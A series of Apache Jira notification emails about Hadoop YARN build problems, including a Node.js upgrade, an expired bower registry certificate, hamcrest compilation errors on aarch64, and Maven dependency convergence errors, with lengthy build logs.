[jira] [Commented] (YARN-10331) Upgrade node.js to 10.21.0
[
https://issues.apache.org/jira/browse/YARN-10331?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17794040#comment-17794040
]
Masatake Iwasaki commented on YARN-10331:
-
I cherry-picked this to branch-2.10 with YARN-10020 and YARN-10037 as
prerequisite. Building with {{-Pyarn-ui}} (enabled in create-release script)
fails without this.
{noformat}
[ESC[1;34mINFOESC[m] ESC[1m--- ESC[0;32mfrontend-maven-plugin:1.5:bowerESC[m
ESC[1m(bower install)ESC[m @ ESC[36mhadoop-yarn-uiESC[0;1m ---ESC[m
[ESC[1;34mINFOESC[m] testFailureIgnore property is ignored in non test phases
[ESC[1;34mINFOESC[m] Running 'bower install' in
/build/source/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-ui/target/webapp
[ESC[1;31mERRORESC[m] bower ember#2.2.0 CERT_HAS_EXPIRED Request to
https://registry.bower.io/packages/ember failed: certificate has expired
{noformat}
> Upgrade node.js to 10.21.0
> --
>
> Key: YARN-10331
> URL: https://issues.apache.org/jira/browse/YARN-10331
> Project: Hadoop YARN
> Issue Type: Bug
> Components: build, yarn-ui-v2
>Reporter: Akira Ajisaka
>Assignee: Akira Ajisaka
>Priority: Critical
> Fix For: 3.4.0, 3.3.1, 3.2.3, 2.10.3
>
>
> YARN-10036 upgraded Node.js to 8.17.0, but Node.js 8.x is already EoL.
> https://nodejs.org/en/about/releases/
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-10331) Upgrade node.js to 10.21.0
[ https://issues.apache.org/jira/browse/YARN-10331?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-10331: Fix Version/s: 2.10.3 > Upgrade node.js to 10.21.0 > -- > > Key: YARN-10331 > URL: https://issues.apache.org/jira/browse/YARN-10331 > Project: Hadoop YARN > Issue Type: Bug > Components: build, yarn-ui-v2 >Reporter: Akira Ajisaka >Assignee: Akira Ajisaka >Priority: Critical > Fix For: 3.4.0, 3.3.1, 3.2.3, 2.10.3 > > > YARN-10036 upgraded Node.js to 8.17.0, but Node.js 8.x is already EoL. > https://nodejs.org/en/about/releases/ -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-10037) Upgrade build tools for YARN Web UI v2
[ https://issues.apache.org/jira/browse/YARN-10037?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-10037: Fix Version/s: 2.10.3 > Upgrade build tools for YARN Web UI v2 > -- > > Key: YARN-10037 > URL: https://issues.apache.org/jira/browse/YARN-10037 > Project: Hadoop YARN > Issue Type: Bug > Components: build, security, yarn-ui-v2 >Reporter: Akira Ajisaka >Assignee: Masatake Iwasaki >Priority: Major > Fix For: 3.3.0, 3.2.3, 2.10.3 > > Attachments: YARN-10037.001.patch > > > The versions of the build tools are too old and have some vulnerabilities. > Update. > * node: 5.12.0 (latest: 12.13.1 LTS) > * yarn: 0.21.3 (latest: 1.21.1) -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-10020) Fix build instruction of hadoop-yarn-ui
[ https://issues.apache.org/jira/browse/YARN-10020?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-10020: Fix Version/s: 2.10.3 > Fix build instruction of hadoop-yarn-ui > --- > > Key: YARN-10020 > URL: https://issues.apache.org/jira/browse/YARN-10020 > Project: Hadoop YARN > Issue Type: Bug > Components: yarn-ui-v2 >Reporter: Masatake Iwasaki >Assignee: Masatake Iwasaki >Priority: Minor > Fix For: 3.3.0, 3.2.3, 2.10.3 > > > We don't need to manually install package managers such as yarn and bower as > described in README.md since frontend-maven-plugin was introduced by > YARN-6278. -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Resolved] (YARN-11581) Fix compilation error in hadoop-yarn-applications-catalog-webapp due to unresolved dependency on hamcrest
[
https://issues.apache.org/jira/browse/YARN-11581?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki resolved YARN-11581.
-
Resolution: Invalid
> Fix compilation error in hadoop-yarn-applications-catalog-webapp due to
> unresolved dependency on hamcrest
> -
>
> Key: YARN-11581
> URL: https://issues.apache.org/jira/browse/YARN-11581
> Project: Hadoop YARN
> Issue Type: Bug
> Components: test
>Reporter: Masatake Iwasaki
>Assignee: Masatake Iwasaki
>Priority: Major
> Labels: pull-request-available
>
> {noformat}
> [ERROR] Failed to execute goal
> org.apache.maven.plugins:maven-compiler-plugin:3.10.1:testCompile
> (default-testCompile) on project hadoop-yarn-applications-catalog-webapp:
> Compilation failure: Compilation failure:
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppDetailsControllerTest.java:[32,27]
> cannot find symbol
> [ERROR] symbol: class MatcherAssert
> [ERROR] location: package org.hamcrest
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppDetailsControllerTest.java:[32,1]
> static import only from classes and inter\
> faces
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppStoreControllerTest.java:[30,27]
> cannot find symbol
> [ERROR] symbol: class MatcherAssert
> [ERROR] location: package org.hamcrest
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppStoreControllerTest.java:[30,1]
> static import only from classes and interfa\
> ces
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppListControllerTest.java:[30,27]
> cannot find symbol
> [ERROR] symbol: class MatcherAssert
> [ERROR] location: package org.hamcrest
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppListControllerTest.java:[30,1]
> static import only from classes and interfac\
> es
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppDetailsControllerTest.java:[129,5]
> cannot find symbol
> [ERROR] symbol: method assertThat(java.lang.String,boolean)
> [ERROR] location: class
> org.apache.hadoop.yarn.appcatalog.controller.AppDetailsControllerTest
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppDetailsControllerTest.java:[135,5]
> cannot find symbol
> [ERROR] symbol: method
> assertThat(java.lang.String,java.lang.String,org.hamcrest.Matcher)
> [ERROR] location: class
> org.apache.hadoop.yarn.appcatalog.controller.AppDetailsControllerTest
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppStoreControllerTest.java:[89,5]
> cannot find symbol
> [ERROR] symbol: method assertThat(java.lang.String,boolean)
> [ERROR] location: class
> org.apache.hadoop.yarn.appcatalog.controller.AppStoreControllerTest
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppStoreControllerTest.java:[95,5]
> cannot find symbol
> [ERROR] symbol: method
> assertThat(java.lang.String,java.lang.String,org.hamcrest.Matcher)
> [ERROR] location: class
> org.apache.hadoop.yarn.appcatalog.controller.AppStoreControllerTest
> [ERROR]
> /home/rocky/srcs/hadoop
[jira] [Updated] (YARN-11581) Fix compilation error in hadoop-yarn-applications-catalog-webapp due to unresolved dependency on hamcrest
[
https://issues.apache.org/jira/browse/YARN-11581?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki updated YARN-11581:
Summary: Fix compilation error in hadoop-yarn-applications-catalog-webapp
due to unresolved dependency on hamcrest (was: Fix compilation error in
hadoop-yarn-applications-catalog-webap due to unresolved dependency on hamcrest)
> Fix compilation error in hadoop-yarn-applications-catalog-webapp due to
> unresolved dependency on hamcrest
> -
>
> Key: YARN-11581
> URL: https://issues.apache.org/jira/browse/YARN-11581
> Project: Hadoop YARN
> Issue Type: Bug
> Components: test
>Reporter: Masatake Iwasaki
>Assignee: Masatake Iwasaki
>Priority: Major
>
> {noformat}
> [ERROR] Failed to execute goal
> org.apache.maven.plugins:maven-compiler-plugin:3.10.1:testCompile
> (default-testCompile) on project hadoop-yarn-applications-catalog-webapp:
> Compilation failure: Compilation failure:
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppDetailsControllerTest.java:[32,27]
> cannot find symbol
> [ERROR] symbol: class MatcherAssert
> [ERROR] location: package org.hamcrest
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppDetailsControllerTest.java:[32,1]
> static import only from classes and inter\
> faces
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppStoreControllerTest.java:[30,27]
> cannot find symbol
> [ERROR] symbol: class MatcherAssert
> [ERROR] location: package org.hamcrest
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppStoreControllerTest.java:[30,1]
> static import only from classes and interfa\
> ces
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppListControllerTest.java:[30,27]
> cannot find symbol
> [ERROR] symbol: class MatcherAssert
> [ERROR] location: package org.hamcrest
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppListControllerTest.java:[30,1]
> static import only from classes and interfac\
> es
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppDetailsControllerTest.java:[129,5]
> cannot find symbol
> [ERROR] symbol: method assertThat(java.lang.String,boolean)
> [ERROR] location: class
> org.apache.hadoop.yarn.appcatalog.controller.AppDetailsControllerTest
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppDetailsControllerTest.java:[135,5]
> cannot find symbol
> [ERROR] symbol: method
> assertThat(java.lang.String,java.lang.String,org.hamcrest.Matcher)
> [ERROR] location: class
> org.apache.hadoop.yarn.appcatalog.controller.AppDetailsControllerTest
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppStoreControllerTest.java:[89,5]
> cannot find symbol
> [ERROR] symbol: method assertThat(java.lang.String,boolean)
> [ERROR] location: class
> org.apache.hadoop.yarn.appcatalog.controller.AppStoreControllerTest
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppStoreControllerTest.java:[95,5]
> cannot find symbol
> [ERROR] symbol: method
> assertThat(java.lang.String,java.lang.St
[jira] [Commented] (YARN-11581) Fix compilation error in hadoop-yarn-applications-catalog-webap due to unresolved dependency on hamcrest
[
https://issues.apache.org/jira/browse/YARN-11581?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17770464#comment-17770464
]
Masatake Iwasaki commented on YARN-11581:
-
Interestingly I can reproduce this on only aarch64.
> Fix compilation error in hadoop-yarn-applications-catalog-webap due to
> unresolved dependency on hamcrest
>
>
> Key: YARN-11581
> URL: https://issues.apache.org/jira/browse/YARN-11581
> Project: Hadoop YARN
> Issue Type: Bug
> Components: test
>Reporter: Masatake Iwasaki
>Assignee: Masatake Iwasaki
>Priority: Major
>
> {noformat}
> [ERROR] Failed to execute goal
> org.apache.maven.plugins:maven-compiler-plugin:3.10.1:testCompile
> (default-testCompile) on project hadoop-yarn-applications-catalog-webapp:
> Compilation failure: Compilation failure:
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppDetailsControllerTest.java:[32,27]
> cannot find symbol
> [ERROR] symbol: class MatcherAssert
> [ERROR] location: package org.hamcrest
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppDetailsControllerTest.java:[32,1]
> static import only from classes and inter\
> faces
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppStoreControllerTest.java:[30,27]
> cannot find symbol
> [ERROR] symbol: class MatcherAssert
> [ERROR] location: package org.hamcrest
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppStoreControllerTest.java:[30,1]
> static import only from classes and interfa\
> ces
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppListControllerTest.java:[30,27]
> cannot find symbol
> [ERROR] symbol: class MatcherAssert
> [ERROR] location: package org.hamcrest
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppListControllerTest.java:[30,1]
> static import only from classes and interfac\
> es
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppDetailsControllerTest.java:[129,5]
> cannot find symbol
> [ERROR] symbol: method assertThat(java.lang.String,boolean)
> [ERROR] location: class
> org.apache.hadoop.yarn.appcatalog.controller.AppDetailsControllerTest
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppDetailsControllerTest.java:[135,5]
> cannot find symbol
> [ERROR] symbol: method
> assertThat(java.lang.String,java.lang.String,org.hamcrest.Matcher)
> [ERROR] location: class
> org.apache.hadoop.yarn.appcatalog.controller.AppDetailsControllerTest
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppStoreControllerTest.java:[89,5]
> cannot find symbol
> [ERROR] symbol: method assertThat(java.lang.String,boolean)
> [ERROR] location: class
> org.apache.hadoop.yarn.appcatalog.controller.AppStoreControllerTest
> [ERROR]
> /home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppStoreControllerTest.java:[95,5]
> cannot find symbol
> [ERROR] symbol: method
> assertThat(java.lang.String,java.lang.String,org.hamcrest.Matcher)
> [ERROR] location: class
> org.apache.hadoop.yarn.appcatalog.controller.AppStoreControllerTest
[jira] [Created] (YARN-11581) Fix compilation error in hadoop-yarn-applications-catalog-webap due to unresolved dependency on hamcrest
Masatake Iwasaki created YARN-11581:
---
Summary: Fix compilation error in
hadoop-yarn-applications-catalog-webap due to unresolved dependency on hamcrest
Key: YARN-11581
URL: https://issues.apache.org/jira/browse/YARN-11581
Project: Hadoop YARN
Issue Type: Bug
Components: test
Reporter: Masatake Iwasaki
Assignee: Masatake Iwasaki
{noformat}
[ERROR] Failed to execute goal
org.apache.maven.plugins:maven-compiler-plugin:3.10.1:testCompile
(default-testCompile) on project hadoop-yarn-applications-catalog-webapp:
Compilation failure: Compilation failure:
[ERROR]
/home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppDetailsControllerTest.java:[32,27]
cannot find symbol
[ERROR] symbol: class MatcherAssert
[ERROR] location: package org.hamcrest
[ERROR]
/home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppDetailsControllerTest.java:[32,1]
static import only from classes and inter\
faces
[ERROR]
/home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppStoreControllerTest.java:[30,27]
cannot find symbol
[ERROR] symbol: class MatcherAssert
[ERROR] location: package org.hamcrest
[ERROR]
/home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppStoreControllerTest.java:[30,1]
static import only from classes and interfa\
ces
[ERROR]
/home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppListControllerTest.java:[30,27]
cannot find symbol
[ERROR] symbol: class MatcherAssert
[ERROR] location: package org.hamcrest
[ERROR]
/home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppListControllerTest.java:[30,1]
static import only from classes and interfac\
es
[ERROR]
/home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppDetailsControllerTest.java:[129,5]
cannot find symbol
[ERROR] symbol: method assertThat(java.lang.String,boolean)
[ERROR] location: class
org.apache.hadoop.yarn.appcatalog.controller.AppDetailsControllerTest
[ERROR]
/home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppDetailsControllerTest.java:[135,5]
cannot find symbol
[ERROR] symbol: method
assertThat(java.lang.String,java.lang.String,org.hamcrest.Matcher)
[ERROR] location: class
org.apache.hadoop.yarn.appcatalog.controller.AppDetailsControllerTest
[ERROR]
/home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppStoreControllerTest.java:[89,5]
cannot find symbol
[ERROR] symbol: method assertThat(java.lang.String,boolean)
[ERROR] location: class
org.apache.hadoop.yarn.appcatalog.controller.AppStoreControllerTest
[ERROR]
/home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppStoreControllerTest.java:[95,5]
cannot find symbol
[ERROR] symbol: method
assertThat(java.lang.String,java.lang.String,org.hamcrest.Matcher)
[ERROR] location: class
org.apache.hadoop.yarn.appcatalog.controller.AppStoreControllerTest
[ERROR]
/home/rocky/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-catalog/hadoop-yarn-applications-catalog-webapp/src/test/java/org/apache/hadoop/yarn/appcatalog/controller/AppListControllerTest.java:[88,5]
cannot find symbol
[ERROR] symbol: method assertThat(java.lang.String,boolean)
[ERROR] location: class
org.apache.hadoop.yarn.appcatalog.controller.AppListControllerTest
[ERROR]
/home/rocky/srcs/hadoop/hadoop-yarn-
[jira] [Resolved] (YARN-11558) Fix dependency convergence error on hbase2 profile
[
https://issues.apache.org/jira/browse/YARN-11558?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki resolved YARN-11558.
-
Fix Version/s: 3.4.0
Hadoop Flags: Reviewed
Resolution: Fixed
> Fix dependency convergence error on hbase2 profile
> --
>
> Key: YARN-11558
> URL: https://issues.apache.org/jira/browse/YARN-11558
> Project: Hadoop YARN
> Issue Type: Bug
>Affects Versions: 3.4.0
>Reporter: Masatake Iwasaki
>Assignee: Masatake Iwasaki
>Priority: Major
> Labels: pull-request-available
> Fix For: 3.4.0
>
>
> {noformat}
> $ mvn clean install -DskipTests -DskipShade -Dhbase.profile=2.0
> ...
> [INFO] --- maven-enforcer-plugin:3.0.0:enforce (depcheck) @
> hadoop-yarn-server-timelineservice-hbase-client ---
> [WARNING]
> Dependency convergence error for org.osgi:org.osgi.core:jar:6.0.0:provided
> paths to dependency are:
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hadoop:hadoop-common:jar:3.4.0-SNAPSHOT:provided
> +-org.apache.commons:commons-compress:jar:1.21:provided
> +-org.osgi:org.osgi.core:jar:6.0.0:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
> +-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
> +-org.glassfish.jersey.core:jersey-common:jar:2.25.1:provided
> +-org.osgi:org.osgi.core:jar:4.2.0:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
> +-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
> +-org.glassfish.jersey.core:jersey-common:jar:2.25.1:provided
> +-org.glassfish.hk2:osgi-resource-locator:jar:1.0.1:provided
> +-org.osgi:org.osgi.core:jar:4.2.0:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
> +-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
> +-org.osgi:org.osgi.core:jar:4.2.0:provided
> [WARNING]
> Dependency convergence error for
> javax.ws.rs:javax.ws.rs-api:jar:2.1.1:provided paths to dependency are:
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hadoop:hadoop-yarn-common:jar:3.4.0-SNAPSHOT:provided
>
> +-com.fasterxml.jackson.jaxrs:jackson-jaxrs-json-provider:jar:2.12.7:provided
> +-com.fasterxml.jackson.jaxrs:jackson-jaxrs-base:jar:2.12.7:provided
> +-javax.ws.rs:javax.ws.rs-api:jar:2.1.1:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hadoop:hadoop-yarn-common:jar:3.4.0-SNAPSHOT:provided
>
> +-com.fasterxml.jackson.jaxrs:jackson-jaxrs-json-provider:jar:2.12.7:provided
> +-javax.ws.rs:javax.ws.rs-api:jar:2.1.1:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
> +-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
> +-org.glassfish.jersey.core:jersey-common:jar:2.25.1:provided
> +-javax.ws.rs:javax.ws.rs-api:jar:2.0.1:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
> +-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
> +-org.glassfish.jersey.core:jersey-client:jar:2.25.1:provided
> +-javax.ws.rs:javax.ws.rs-api:jar:2.0.1:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
> +-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
> +-javax.ws.rs:javax.ws.rs-api:jar:2.0.1:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
>
> +-org.glassfish.jersey.containers:jersey-container-servlet-core:jar:2.25.1:provided
> +-javax.ws.rs:javax.ws.rs-api:jar:2.0.1:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
>
[jira] [Commented] (YARN-11558) Fix dependency convergence error on hbase2 profile
[
https://issues.apache.org/jira/browse/YARN-11558?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17761589#comment-17761589
]
Masatake Iwasaki commented on YARN-11558:
-
This issue only affects trunk branch. No issue on branch-3.3.
> Fix dependency convergence error on hbase2 profile
> --
>
> Key: YARN-11558
> URL: https://issues.apache.org/jira/browse/YARN-11558
> Project: Hadoop YARN
> Issue Type: Bug
>Affects Versions: 3.4.0
>Reporter: Masatake Iwasaki
>Assignee: Masatake Iwasaki
>Priority: Major
>
> {noformat}
> $ mvn clean install -DskipTests -DskipShade -Dhbase.profile=2.0
> ...
